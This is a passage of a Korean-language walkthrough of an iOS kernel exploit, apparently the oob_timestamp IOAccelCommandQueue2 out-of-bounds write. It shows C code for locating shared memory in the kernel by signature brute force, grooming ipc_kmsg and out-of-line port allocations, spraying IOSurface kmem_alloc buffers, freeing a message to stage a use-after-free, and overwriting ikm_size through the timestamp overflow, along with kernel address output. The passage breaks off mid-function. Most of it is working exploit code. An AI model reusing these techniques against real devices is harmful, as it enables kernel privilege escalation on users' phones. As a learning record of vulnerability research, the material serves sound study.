이미 공유메모리 생성을 한 이후로도, 언제든지 cmd1->command.size를 수정하여 submit_command_buffer를 호출하면 언제든지 OOB Write 버그를 트리거시킬 수 있다.

생성된 공유메모리가 커널의 어느 주소에 해당되는지 추후 확인하기 위해 공유 메모리를 할당하고 값을 쓸때 +0x1000 위치에 특별한 시그니처를 남겼다.

커맨드 버퍼 – 0x4142434445464748 세그먼트 리스트 – 0x5152535455565758


int alloc_shmem_with_sig(uint32_t buffer_size, struct IOAccelDeviceShmemData *cmdbuf, struct IOAccelDeviceShmemData *seglist, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig) {
    struct IOAccelDeviceShmemData command_buffer_shmem;
    struct IOAccelDeviceShmemData segment_list_shmem;
    
    kern_return_t kr = IOAccelSharedUserClient2_create_shmem(buffer_size, &command_buffer_shmem);
    if (kr) {
        printf("[-] IOAccelSharedUserClient2_create_shmem: 0x%x (%s)\n", kr, mach_error_string(kr));
        return kr;
    }
    
    kr = IOAccelSharedUserClient2_create_shmem(buffer_size, &segment_list_shmem);
    if (kr) {
        printf("[-] IOAccelSharedUserClient2_create_shmem: 0x%x (%s)\n", kr, mach_error_string(kr));
        return kr;
    }

    // set signature
    *(uint64_t*)(command_buffer_shmem.data + 0x1000) = command_buffer_shmem_sig;
    *(uint64_t*)(segment_list_shmem.data + 0x1000) = segment_list_shmem_sig;
    
    *cmdbuf = command_buffer_shmem;
    *seglist = segment_list_shmem;
    
    submit_args.header.count = 1;
    submit_args.command.command_buffer_shmem_id = command_buffer_shmem.shmem_id;
    submit_args.command.segment_list_shmem_id = segment_list_shmem.shmem_id;

    struct IOAccelSegmentListHeader *slh = segment_list_shmem.data;
    slh->length = 0x100;
    slh->segment_count = 1;
    
    struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
    srlh->kernel_commands_start_offset = 0;
    srlh->kernel_commands_end_offset = buffer_size;
    
    // this is just a filler for the first 0x4000 - n bytes, timestamp written in off_timestamp = 8
    struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = command_buffer_shmem.data;
    cmd1->command.type = 2;
    cmd1->command.size = (uint32_t)buffer_size - 16;
    
    // put command 2 after command 1, so now timestamp written in cmd1->command.size + off_timestamp (8) = 0x4000 <= 8 bytes written OOB!
    struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
    cmd2->command.type = 2;
    cmd2->command.size = 8;
    
    return IOAccelCommandQueue2_submit_command_buffers(&submit_args.header, sizeof(submit_args));
}

...

    struct IOAccelDeviceShmemData cmdbuf, seglist;
    uint64_t command_buffer_shmem_sig = 0x4142434445464748;
	  uint64_t segment_list_shmem_sig = 0x5152535455565758;
    ret = alloc_shmem_with_sig(96 MB, &cmdbuf, &seglist, command_buffer_shmem_sig, segment_list_shmem_sig);

    if (ret) {
        ERROR("Failed to allocate shared memory\n");
        goto err;
    }

시그니처를 통해 공유메모리가 각각 어느 주소에 위치한지 알아내기 위해 여러번 시행착오를 겪었다.

helper/find_shmem.c 파일의 find_shmem_in_kernel_[1, 2, 3, 4] 함수에서 확인할 수 있다.

4개의 아이디어를 생각해낸 끝에, 마지막 4번 방법으로 주소를 가져오는데 성공했다. (수행하는데 대략 10초 이상 걸림)

  1. gIOKitPageableSpace_start에서 gIOKitPageableSpace_end까지 매 +0x1000씩 더해 값을 읽었을때 우리의 시그니처가 있는지 확인하기
  2. gIOKitPageableSpace에 속한 vm_mapnext 필드에 접근 및 순회하며 map->start 필드의 +0x1000 위치에 우리의 시그니처가 있는지 확인하기
  3. 할당받은 유저레벨의 공유메모리 주소를 물리주소로 변환한다음, 커널 가상메모리 주소로 변환하기.
  4. 이전에 IOSurface를 활용하여 할당했던 82MB dict_entry 주소에서 어림잡아 값을 더한 찾을 베이스 주소에서 매 +0x1000씩 더해 값을 읽었을때 우리의 시그니처가 있는지 확인하기

1, 2번 방법으로는 0x4000과 같은 작은 크기로 공유메모리 할당했을시에는 쉽게 찾을 수 있었지만, 96MB 같은 방대한 크기의 경우 찾지 못했다.

3번 방법으로는 커널 주소와 유저레벨 주소 모두 서로 같은 물리주소로 향하지만, 가상 커널주소로 변환시 kernel map 범위에 속하지 않는다.

따라서 최후의 4번 방법으로, 82MB dict_entry 주소에서 어림잡아 값을 더해, 주소를 구하였다.

// Solution 4
// Bruteforcing...... sigh
void find_shmem_in_kernel_4(uint64_t *kva1, uint64_t *kva2, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig, uint64_t iosurface_sprayed_osdict_entry) {
	uint64_t command_buffer_shmem_data_kva = 0;
	uint64_t segment_list_shmem_data_kva = 0;

	uint64_t kernel_alloc_start_maybe = 0;
	uint64_t kernel_map = kread64(ksym(KSYMBOL_kernel_map));

	if(iosurface_sprayed_osdict_entry) {
		kernel_alloc_start_maybe = (iosurface_sprayed_osdict_entry & 0xffffffffff000000) + 0x1000000;
	}
	else {
		uint64_t kernel_map_start = kread64(kernel_map+0x20);	//0x20 = start
		kernel_alloc_start_maybe = kernel_map_start + 0x30000000;
	}
	
	int try_count = 0;
	while(1) {
		uint64_t current_kva = kernel_alloc_start_maybe + try_count * 0x1000;

		//check if valid readable kernel address to prevent kernel panic
		uint64_t current_pa = kvtophys(current_kva);
		if(current_pa == 0) continue;

		if(physread64(current_pa) == command_buffer_shmem_sig) {
			command_buffer_shmem_data_kva = current_kva-0x1000;
            *kva1 = command_buffer_shmem_data_kva;
		}

		if(physread64(current_pa) == segment_list_shmem_sig) {
			segment_list_shmem_data_kva = current_kva-0x1000;
            *kva2 = segment_list_shmem_data_kva;
		}

		if(segment_list_shmem_data_kva && command_buffer_shmem_data_kva) {
			INFO("try_count: %d\n", try_count);
			break;
		}

		if(try_count > 200000) {
			ERROR("failed to find where shmem allocated in kernel\n");
			break;
		}

		try_count++;
	}
	
...

#if ENABLE_HELPER
    //helper; find our 96MB shmem data
    uint64_t command_buffer_shmem_data_kva, segment_list_shmem_data_kva = 0;
	find_shmem_in_kernel_4(&command_buffer_shmem_data_kva, &segment_list_shmem_data_kva, command_buffer_shmem_sig, segment_list_shmem_sig, osdict_entry);
	SUCCESS("command_buffer_shmem_data_kva: 0x%llx\n", command_buffer_shmem_data_kva);
	SUCCESS("segment_list_shmem_data_kva: 0x%llx\n", segment_list_shmem_data_kva);
    //
#endif

실행 결과, 공유 메모리가 할당된 주소는 다음과 같게 나온다.

[*] try_count: 42961
[+] command_buffer_shmem_data_kva: 0xffffffe0d57d0000
[+] segment_list_shmem_data_kva: 0xffffffe0cf7d0000

Screenshot 2025-09-10 at 3.03.06 AM.png

3. 추후 손상시킬 ipc_kmsg 할당

이제 8페이지짜리 ipc_kmsg를 하나 할당하고 보관용으로 corrupted_kmsg_port에 저장한다. 해당 ipc_kmsg는 커맨드 버퍼 페이저블 맵 바로 뒤에 위치해야한다.

ipc_kmsg를 할당하기 위해 send_message 함수를 호출하는데, 해당 함수는 메시지를 받을 목적지 포트를 지정하고, 송신권한인 send right, 그리고 메시지 크기 등 설정을 포함하고 있다.

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

...

// port which we will later corrupt. should be exactly after command buffer
    mach_port_t corrupted_kmsg_port = POP_PORT();
    ret = send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
    if (ret) {
        printf("[-] Failed to send message\n");
        goto err;
    }

ipc_kmsg 할당 주소를 구하는 방법은 간단하다.

이전에 우리는 IOSurface를 활용한 적재된 데이터를 확인하기 위해 ipc_port 구조체에서 kdata.kobject 필드에 접근했었다.

마찬가지로, kdata.kobject 필드에 ikmq_base 오프셋을 더하면 ipc_kmsg 주소를 구할 수 있다.

00000000 struct ipc_port_0 // sizeof=0xA8
00000000 {
00000000     ipc_object ip_object;
00000010     ipc_mqueue ip_messages
...

00000000 struct ipc_mqueue // sizeof=0x50
00000000 {                                       // XREF: ipc_port_0/r
00000000                                         // ipc_port_1/r ...
00000000     ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97 data;
00000048     ipc_mqueue::$60FD45BA8CAC1DB02FF64F7437356E71;
00000050 };

00000000 union ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97 // sizeof=0x48
00000000 {                                       // XREF: ipc_mqueue/r
00000000     ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD port;
00000000     ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$F200E06D1AE0F2D5875A47A59DB37CDA pset;
00000000 };

00000000 struct __attribute__((aligned(8))) ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD // sizeof=0x48
00000000 {                                       // XREF: ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97/r
00000000     waitq_0 waitq;
00000030     ipc_kmsg_queue messages;
...

00000000 struct ipc_kmsg_queue // sizeof=0x8
00000000 {                                       // XREF: ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD/r
00000000                                         // thread_0/r ...
00000000     ipc_kmsg *ikmq_base;
00000008 };

코드로 구현하면 아래와 같고,

#if ENABLE_HELPER
    //helper; obtain struct ipc_kmsg's addr
    uint64_t ikmq_base = kread64(find_port(corrupted_kmsg_port) + off_ipc_port_ikmq_base);
    uint64_t ipc_kmsg_addr = ikmq_base;
    INFO("struct ipc_kmsg(port=0x%x) = 0x%llx\n", corrupted_kmsg_port, ipc_kmsg_addr);
    //
    #endif

실행 결과, 다음과 같이 특정주소에 ipc_kmsg가 위치하게 된다.

[*] struct ipc_kmsg(port=0x2303) = 0xffffffe0db7d0000

image.png

4. 2번째의 ipc_kmsg 할당

3번 과정과 같다.

8페이지짜리 ipc_kmsg를 하나 할당하고 보관용으로 placeholder_message_port에 저장한다. 해당 ipc_kmsg는 첫번째로 할당된 ipc_kmsg 바로 뒤에 위치해야한다.

지금은 이처럼 할당된 상태로 유지되겠지만, 나중에는 해제된 뒤 제어된 데이터로 다시 할당되어 UAF를 발생시키기 위해 만들어둔 코드인것 같다.

// this is a placeholder, we need it allocated for now but later it'll be freed and allocated with controlled data which will be UAFd
    mach_port_t placeholder_message_port = POP_PORT();
    ret = send_message(placeholder_message_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
    if (ret) {
        printf("[-] Failed to send message\n");
        goto err;
    }

다음과 같이 특정주소에 **2번째의 ipc_kmsg**가 위치하게 된다.

[*] struct ipc_kmsg 2(port=0x2203) = 0xffffffe0db7f0000

image.png

5. OOL 포트 메시지 할당

oob_timestamp 주석에는 다음과 같은 내용이 들어있다.

8페이지짜리 OOL(out-of-line) 포트 디스크립터 배열을 생성합니다.

이상적으로는 여러 개의 out-of-line 포트 배열을 할당하는 것이 좋지만, 이 배열들이 kalloc()으로 할당되므로 KMA_ATOMIC 플래그가 설정된다. 따라서 부분적으로만 해제될 수 없습니다.

즉, 추가 배열을 할당할 때마다 최소 해제 크기가 증가하며, 더 많은 kfree() 버퍼 메모리를 할당해야 한다는 의미가 됩니다.

(7 * pagesize) / sizeof(uint64_t)1을 더하여 ool_port_count를 7페이지 넘게끔 조정함으로써, 8페이지짜리로 OOL 포트 디스크립터 배열을 생성한다.

sock port 2 익스플로잇에서의 OOL 포트 스프레이 과정과 비슷하게 send_ool_port 함수는 메시지가 전송(MACH_SEND_MSG) 되지만 수신되지는 않는다는 점을 이용하여 메시지의 대상 포트가 파괴되기 전까지는 메시지가 커널 공간에 남아 있도록 만든다.

하지만 target_portMACH_PORT_NULL로 되어있기에 사용자 모드 Task Port가 커널 모드 Task Port의 주소로 변환되지는 않아서, 커널에서 저장되는 최종 메시지 내용은 NULL로 채워진다.

할당된 해당 OOL 포트 배열 역시, 추후 UAF될 전망이다.

int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int disposition) {
    kern_return_t ret;
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    free(msg);
    free(ports);
    
    if (ret) {
        printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret));
        return KERN_FAILURE;
    }
    
    return 0;
}

...

// allocate ool buffer which we'll also UAF
    mach_port_t ool_message_port = POP_PORT();
    int ool_ports_count = (7 * pagesize) / sizeof(uint64_t) + 1;
    ret = send_ool_ports(ool_message_port, MACH_PORT_NULL, ool_ports_count, MACH_MSG_TYPE_COPY_SEND);
    if (ret) {
        printf("[-] Failed to send ool ports message\n");
        goto err;
    }

OOL ports 주소를 찾는법은 다음과 같다.

uint64_t find_oolports_from_port(mach_port_name_t port) {
    uint64_t port_kaddr = find_port(port);

    //https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2019-8605/dangling_kptr_reuse/ool.c#L62
    uint32_t off_ipc_port_ikmq_base = 0x40;
    uint64_t ikmq_base = kread64(port_kaddr + off_ipc_port_ikmq_base);
    // INFO("ikmq_base: 0x%llx\n", ikmq_base);

    uint32_t off_ipc_kmsg_ikm_header = 0x18; // p/x offsetof(struct ipc_kmsg, ikm_header)
    uint64_t ikm_header = kread64(ikmq_base+off_ipc_kmsg_ikm_header);

    uint64_t off_mach_msg_ool_ports_desc_address = 0x24; //?
    return kread64(ikm_header + off_mach_msg_ool_ports_desc_address);
}
...
    #if ENABLE_HELPER
    //helper; obtain ool ports addr
    uint64_t oolports_kptr = find_oolports_from_port(ool_message_port);
    INFO("ool_message_port(port=0x%x)'s msgdata_kptr = 0x%llx\n", ool_message_port, oolports_kptr);
    // khexdump(kread64(kmsgdata_kptr+4), 0x1000);
    // getchar();
    //
    #endif

아래와 같이 OOL ports가 특정주소에 위치하게 된다.

[*] ool_message_port(port=0x1d03)'s msgdata_kptr = 0xffffffe0db810000

image.png

6. (1번 과정에서했던) IOSurface를 활용하여 할당된 82MB 커널메모리 해제

IOSurface에서 제공하는 메소드인 IOSurfaceRootUserClient::remove_value 를 이용하여 1번 과정에서 할당시켰던 82M 크기의 데이터를 해제시킨다.

이렇게 하면, 이후 스프레이를 하는데에 XML 데이터 블롭을 매핑할 수 있는 hole이 생기게 된다.

/*
 * IOSurface_remove_value
 *
 * Description:
 * 	A wrapper around IOSurfaceRootUserClient::remove_value().
 */
kern_return_t
IOSurface_remove_value(const struct IOSurfaceValueArgs *args, size_t args_size) {
	struct IOSurfaceValueResultArgs result;
	size_t result_size = sizeof(result);
	kern_return_t kr = IOConnectCallMethod(
			IOSurfaceRootUserClient,
			11, // remove_value
			NULL, 0,
			args, args_size,
			NULL, NULL,
			&result, &result_size);
	if (kr != KERN_SUCCESS) {
		ERROR("failed to %s value in %s: 0x%x", "remove", "IOSurface", kr);
	}
	return kr;
}

...

int IOSurface_remove_property(uint32_t key) {
    uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
    struct IOSurfaceValueArgs *args = malloc(argsSz);
    bzero(args, argsSz);
    args->surface_id = IOSurface_id;
    args->xml[0] = key;
    args->xml[1] = 0;
    int ret = IOSurface_remove_value(args, 16);
    free(args);
    return ret;
}

...

    // free huge allocation
    ret = IOSurface_remove_property(huge_kalloc_key);
    if (ret) {
        printf("[-] Failed to remove IOSurface property\n");
        goto err;
    }

image.png

7. IOSurface를 활용한 8페이지 크기의 kfree_buffer 할당

추후 “vm_map_delete(…): hole after %p” 패닉이 발생하지 않도록 하기 위해서는 OOL 포트 배열 이후의 80MB(=0x5000000 바이트)가 반드시 할당되어 있어야 한다.

static kern_return_t
vm_map_delete(
	vm_map_t		map,
	vm_map_offset_t		start,
	vm_map_offset_t		end,
	int			flags,
	vm_map_t		zap_map)
{
	vm_map_entry_t		entry, next;
	struct	 vm_map_entry	*first_entry, tmp_entry;
	vm_map_offset_t		s;
	vm_object_t		object;
	boolean_t		need_wakeup;
	unsigned int		last_timestamp = ~0; /* unlikely value */
	int			interruptible;
	vm_map_offset_t		gap_start;
	vm_map_offset_t		save_start = start;
	vm_map_offset_t		save_end = end;
	const vm_map_offset_t	FIND_GAP = 1;	/* a not page aligned value */
	const vm_map_offset_t	GAPS_OK = 2;	/* a different not page aligned value */

	/*
	 *	Step through all entries in this region
	 */
	s = entry->vme_start;
	while ((entry != vm_map_to_entry(map)) && (s < end)) {
		...
		next = entry->vme_next;

		if (map->pmap == kernel_pmap &&
		    map->map_refcnt != 0 &&
		    entry->vme_end < end &&
		    (next == vm_map_to_entry(map) ||
		     next->vme_start != entry->vme_end)) {
			panic("vm_map_delete(%p,0x%llx,0x%llx): "
			      "hole after %p at 0x%llx\n",
			      map,
			      (uint64_t)start,
			      (uint64_t)end,
			      entry,
			      (uint64_t)entry->vme_end);
		}
		...

또한 이 메모리는 kalloc()으로 할당할 수 없다.

kalloc()KMA_ATOMIC 플래그를 설정하는데, 이는 손상된 ipc_kmsg를 해제할 때 발생할 수 있는 것처럼 부분적으로 해제될 수 없음을 의미하기 때문이다.

따라서 IOSurface를 이용하여 내부적으로 kmem_alloc()을 호출하여 스프레이를 진행한다.

총 count=640번 size=80MB씩 0x42…로 채워진 버퍼들로 스프레이시킨다.

그러면, 640번 중 한번이 ool ports 다음 주소에 위치하게 될것이다.

int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
    if (size < pagesize) {
        printf("[-][IOSurface] Size too small for kmem_alloc\n");
        return KERN_FAILURE;
    }
    if (size > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    if (count > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_id;
    
    int i = 0;
    args->xml[i++] = kOSSerializeBinarySignature;                         //<kOSSerializeBinarySignature /> 
    args->xml[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;    //<array capacity="2">
    args->xml[i++] = kOSSerializeArray | count;                           //<array capacity="count">    
    for (int c = 0; c < count; c++) {
        args->xml[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0);  //<data length="size">
        memcpy(&args->xml[i], data, size);  //...data...
        i += (size + 3)/4;  //</data>
    }
    args->xml[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;    //<sym len="5">
    args->xml[i++] = kalloc_key;                                            //key</sym></array>
    args->xml[i++] = 0;                                                     //Null-terminate
    
    // <kOSSerializeBinarySignature />
    // <kOSSerializeArray>2</kOSSerializeArray>
    // <kOSSerializeArray capacity=${count}>
    //     <kOSSerializeData length=${size}>${data}</kOSSerializeData>
    //     ...
    // </kOSSerializeArray>
    // <kOSSerializeSymbol length=5>
    //     ${kalloc_key}
    // </kOSSerializeSymbol>
    // 0 // Null-terminate      
    

    kern_return_t ret = IOSurface_set_value(args, args_size);
    free(args);
    return ret;
}

...

    void *spray_buffer = ((uint8_t *) cmdbuf.data) + pagesize;

    uint32_t kfree_buffer_key = transpose(property_index++);
    memset(spray_buffer, 0x42, 8 * pagesize); // we'll need later in clean up to check if memory is still allocated
    ret = IOSurface_kmem_alloc_spray(spray_buffer, 8 * pagesize, 80 MB / (8 * pagesize), kfree_buffer_key);
    if (ret) {
        printf("[-] Failed to spray\n");
        goto err;
    }

image.png

마찬가지로, IOSurface를 활용하여 적재된 데이터는 어느 주소에 위치해있는지 어떻게 확인할 수 있을까?

1번 과정에서 주소를 구헀던것처럼 크게 다르지 않다. dict->items[i].value 은 OSDictionary이거나 OSArray 등 어떤 타입이든지 될 수 있다.

여기서는 args->xml[i++] = kOSSerializeArray | count; 코드 처럼 count와 함께 kOSSerializeArray를 선언했기 때문에 OSArray 구조체를 살펴보면 된다.

00000000 struct __cppobj OSArray : OSCollection // sizeof=0x28
00000000 {
00000014     unsigned int count;
00000018     unsigned int capacity;
0000001C     unsigned int capacityIncrement;
00000020     OSArray::ArrayPtrType *array;
00000028 };

00000008 typedef const OSMetaClassBase *OSArray::ArrayPtrType;

00000000 struct __cppobj OSData : OSObject // sizeof=0x28
00000000 {
0000000C     unsigned int length;
00000010     unsigned int capacity;
00000014     unsigned int capacityIncrement;
00000018     void *data;
00000020     OSData::ExpansionData *reserved;
00000028 };

실제로 ool ports 다음 주소에 위치하는지 확인하기 위해, 아래코드를 구현하였다.

우리가 스프레이했던 osarray_count가 일치하면, 해당 count만큼 순회하면서 0x42… 값들로 스프레이된 곳을 찾기 위해 OSData 구조체의 data 필드를 읽어낸다.

전에도 말했다시피 스프레이 카운트가 640번 중 어느 순간부터는 ool ports 다음 주소에 위치할 것이고, 높은 주소에 분명 위치할 것이다.

읽어낸 주소가 ool ports 할당 주소보다 높은 주소에 위치한지 확인한다.

#if ENABLE_HELPER
    dict = kernel_fetch_dict(userspaceValueDicts);
    uint64_t kfree_buffer_addr = 0;
    
    for (int i = 0; i < dict->count; i++) {
		if(dict->items[i].value) {
            uint32_t osarray_count = kread32(dict->items[i].value + off_osarray_count);
	        uint32_t osarray_capacity = kread32(dict->items[i].value + off_osarray_capacity);
            uint64_t osarray_array = kread64(dict->items[i].value + off_osarray_array);

            if(osarray_count == (80 MB / (8 * pagesize))) {
                SUCCESS("Found our 2nd sprayed IOSurface data!\n");
                // INFO("osarray_count = 0x%x, osarray_capacity = 0x%x\n", osarray_capacity, osarray_capacity);

                for(uint32_t j = 0; j < osarray_count; j++) {
                    uint64_t osdata_in_osarray = OSArray_objectAtIndex(dict->items[i].value, j);
		            uint64_t kbuffer = OSData_buffer(osdata_in_osarray);
                    // printf("osdata_in_osarray = 0x%llx\n", osdata_in_osarray);
                    // printf("osdata_kbuffer(OSArray[%u]) = 0x%llx\n", j, kbuffer);
                    if(oolports_kptr < kbuffer) {
                        kfree_buffer_addr = kbuffer;
                        break;
                    }
                }
            }
		}
    }

image.png

8. ipc_kmsg2 할당 해제

mach_port_destroy(mach_task_self(), placeholder_message_port);

image.png

9. 해제된 ipc_kmsg2 공간에 8페이지 크기의 spray_buffer 할당

7번 과정에서 진행했던 것과 동일하게 수행해준다.

    uint32_t spray_buffer_key = transpose(property_index++);
    ret = IOSurface_kmem_alloc_spray(spray_buffer, 8 * pagesize, 80 MB / (8 * pagesize), spray_buffer_key);
    if (ret) {
        printf("[-] Failed to spray\n");
        goto err;
    }
  • IOSurface를 활용하여 할당된 spray_buffer 주소를 구하는 코드
    #if ENABLE_HELPER
    dict = kernel_fetch_dict(userspaceValueDicts);
    uint64_t spray_buffer_addr = 0;
    
    for (int i = 0; i < dict->count; i++) {
		if(dict->items[i].value) {
            uint32_t osarray_count = kread32(dict->items[i].value + 0x14);	// 0x14 = p/x offsetof(OSArray, count)
	        uint32_t osarray_capacity = kread32(dict->items[i].value + 0x18);	// 0x18 = p/x offsetof(OSArray, capacity)
            uint64_t osarray_array = kread64(dict->items[i].value + 0x20);    // 0x20 = p/x offsetof(OSArray, array)    

            if(osarray_count == (80 MB / (8 * pagesize)) && i == 2) {
                SUCCESS("Found our 3rd sprayed IOSurface data!\n");
                INFO("osarray_count = 0x%x, osarray_capacity = 0x%x\n", osarray_capacity, osarray_capacity);

                for(uint32_t j = 0; j < osarray_count; j++) {
                    uint64_t osdata_in_osarray = OSArray_objectAtIndex(dict->items[i].value, j);
		            uint64_t kbuffer = OSData_buffer(osdata_in_osarray);
                    // printf("osdata_in_osarray = 0x%llx\n", osdata_in_osarray);
                    // printf("osdata_kbuffer(OSArray[%u]) = 0x%llx\n", j, kbuffer);
                    if(ipc_kmsg_addr < kbuffer && kbuffer < oolports_kptr) {
                        spray_buffer_addr = kbuffer;
                        break;
                    }
                }
                // spray_buffer_addr = kbuffer;
            }
		}
    }

    printf("\n\n=================== Overall Info ===================\n");
    printf("seglist =                   0x%llx\n", segment_list_shmem_data_kva);
    printf("cmdbuf =                    0x%llx\n", command_buffer_shmem_data_kva);
    printf("ipc_kmsg =                  0x%llx\n", ipc_kmsg_addr);
    printf("ipc_kmsg2(FREED) =          0x%llx\n", ipc_kmsg2_addr);
    printf("[*] spray_buffer =          0x%llx\n", spray_buffer_addr);
    printf("oolports =                  0x%llx\n", oolports_kptr);
    printf("kfree_buffer =              0x%llx\n", kfree_buffer_addr);
    printf("====================================================\n\n");

    INFO("spinning here...\n"); 
    getchar();
    #endif
    
    // now:
    // +------------------+------------------+-----------------+--------------+-----------+--------------+
    // |   segment list   |  command buffer  | struct ipc_kmsg | spray_buffer | ool_ports | kfree_buffer |
    // +------------------+------------------+-----------------+--------------+-----------+--------------+
    //

확인시 spray_buffer 주소는 할당해제된 ipc_kmsg2 주소와 동일하다.

=================== Overall Info ===================
seglist =                   0xffffffe0cf7d0000
cmdbuf =                    0xffffffe0d57d0000
ipc_kmsg =                  0xffffffe0db7d0000
ipc_kmsg2(FREED) =          0xffffffe0db7f0000
[*] spray_buffer =          0xffffffe0db7f0000
oolports =                  0xffffffe0db810000
kfree_buffer =              0xffffffe0db830000
====================================================

image.png

10. ipc_kmsg의 ikm_size필드를 손상시키고, 훨씬 더 넓은 범위로 free시키기

  • OOB Write 취약점으로 command buffer 다음 영역인 ipc_kmsg 영역의 ikm_size 필드를 손상시킬 수 있음.
  • ikm_size 필드를 조정함으로써 ipc_kmsg를 할당해제시킬 때, 훨씬 더 넓은 범위로 free시킬 수 있음.
  • ipc_kmsg 영역의 손상시킨 ikm_size 필드는 mach_absolute_time 리턴값으로 덮힘.
  • mach_absolute_time 함수는 틱 단위로 단조적으로 증가하는(임의의 시점에서 시작하는) 시계의 현재 값을 반환한다. (시스템이 절전(슬립) 상태일 동안에는 증가하지 않음)
  • 우리는 적어도 ool ports 영역까지는 free시켜야 하므로, 보통 kfree_buffer 일부 영역까지 free시켜야 됨.
int overflow_n_bytes(uint32_t buffer_size, int n, struct IOAccelDeviceShmemData *cmdbuf, struct IOAccelDeviceShmemData *seglist) {
    if (n > 8 || n < 0) {
        printf("[-] Can't overflow: 0 <= n <= 8\n");
        return -1;
    }
    
    submit_args.header.count = 1;
    submit_args.command.command_buffer_shmem_id = cmdbuf->shmem_id;
    submit_args.command.segment_list_shmem_id = seglist->shmem_id;

    struct IOAccelSegmentListHeader *slh = seglist->data;
    slh->length = 0x100;
    slh->segment_count = 1;
    
    struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
    srlh->kernel_commands_start_offset = 0;
    srlh->kernel_commands_end_offset = buffer_size;
    
    // this is just a filler for the first buffer_size - n bytes, timestamp written in off_timestamp = 8
    struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = cmdbuf->data;
    cmd1->command.type = 2;
    cmd1->command.size = (uint32_t)buffer_size - 16 + n;
       
    // put command 2 after command 1, so now timestamp written in cmd1->command.size + off_timestamp (8) = buffer_size - 8 + n <= n bytes written OOB!
    struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
    cmd2->command.type = 2;
    cmd2->command.size = 8;
    
    return IOAccelCommandQueue2_submit_command_buffers(&submit_args.header, sizeof(submit_args));
}

...

size_t minimum_corrupted_size = 3 * (8 * pagesize) - 0x58; // 0x5ffa8 on 16K and 0x17fa8 on 4K
    
retry:;
    int overflow_size = 0;
    uint64_t ts = mach_absolute_time();
    if (minimum_corrupted_size < ts && ts <= ((minimum_corrupted_size << 8) | 0xff)) {
        overflow_size = 8;
    }
    else if (((minimum_corrupted_size << 8) | 0xff) < ts && ts <= ((minimum_corrupted_size << 16) | 0xffff)) {
        overflow_size = 7;
    }
    else if (((minimum_corrupted_size << 16) | 0xffff) < ts && ts <= ((minimum_corrupted_size << 24) | 0xffffff)) {
        overflow_size = 6;
    }
